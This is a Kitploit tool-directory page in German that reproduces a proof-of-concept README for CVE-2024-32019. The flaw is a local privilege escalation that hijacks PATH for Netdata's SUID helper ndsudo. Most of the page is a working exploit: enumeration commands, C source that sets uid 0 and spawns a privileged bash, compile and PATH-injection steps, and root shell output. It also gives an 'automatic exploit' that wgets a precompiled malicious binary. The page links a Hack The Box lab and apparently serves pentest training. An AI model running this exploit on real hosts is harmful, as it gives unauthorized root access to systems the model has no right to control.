Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-32019-POC — Netdata ndsudo Workflow zur lokalen Privilegienausweitung und POC (CVE-2024-32019) | Kitploit
Tools/GitHubGitHub/juanbelin/cve-2024-32019-poc
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubjuanbelin/cve-2024-32019-poc

CVE-2024-32019-POC

Netdata ndsudo Workflow zur lokalen Privilegienausweitung und POC (CVE-2024-32019)

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-32019-POC

Netdata ndsudo lokale Privilegieneskalation – Workflow und POC (CVE-2024-32019)

  • Workflow
  • Automatischer Exploit
  • Ressourcen

Workflow

[!TIP] Bitte lesen

Netdata ist ein Tool zur Überwachung von Anwendungen und Systemen. Es läuft auf Port 19999 und ist leicht zu finden:

root@kitploit:~
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN  

Diese Schwachstelle (CVE-2024-32019) betrifft die folgenden Versionen: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Wir können eine Anfrage stellen, um die Version im Antwort-Header zu erfahren:

CVE-2024-32019-1

Der Exploit erfolgt durch die Ausnutzung eines PATH-Hijacking eines ihrer Plugins, ndsudo, das sich oft in /opt/netdata/usr/libexec/netdata/ befindet und SUID besitzt.

root@kitploit:~
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
CVE-2024-32019-2

Wir können sehen, was wir mit --help machen können:

root@kitploit:~
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
root@kitploit:~
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.

Wie wir sehen können, enthält das Skript mehrere wählbare Befehle, die nach einer ausführbaren Datei suchen. Wir können dies ausnutzen, um unsere eigene ausführbare Datei zu erstellen, die wie eine der ausführbaren Dateien benannt ist, in einem Pfad, den wir zur PATH-Umgebungsvariable hinzufügen können.

Netdata verwendet C, folglich müssen wir unser Skript in C schreiben und kompilieren.

CVE-2024-32019
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl");
    return 1;
}
root@kitploit:~
gcc arcconf.c -o arcconf

Dann fügen wir, wie zuvor besprochen, den Pfad des Skripts zum $PATH hinzu:

root@kitploit:~
test@test:/tmp$ PATH=/tmp:$PATH

Schließlich führen wir einfach den Befehl aus, der auf unsere schädliche ausführbare Datei zeigt (arcconf-pd-info -> arcconf ), und er wird uns eine privilegierte Shell geben:

root@kitploit:~
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root

Automatischer Exploit

Du kannst das bereits kompilierte schädliche C-Skript herunterladen, das dir eine Bash als Root liefert, wie im obigen Beispiel beschrieben:

root@kitploit:~
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf 
root@kitploit:~
mv arcconf /tmp #If your target has Internet connectivity

scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
root@kitploit:~
PATH=:/temp:$PATH
root@kitploit:~
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change 

Ressourcen

  • https://learn.netdata.cloud/docs/collecting-metrics/

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

  • https://app.hackthebox.com/machines/684

Tool herunterladen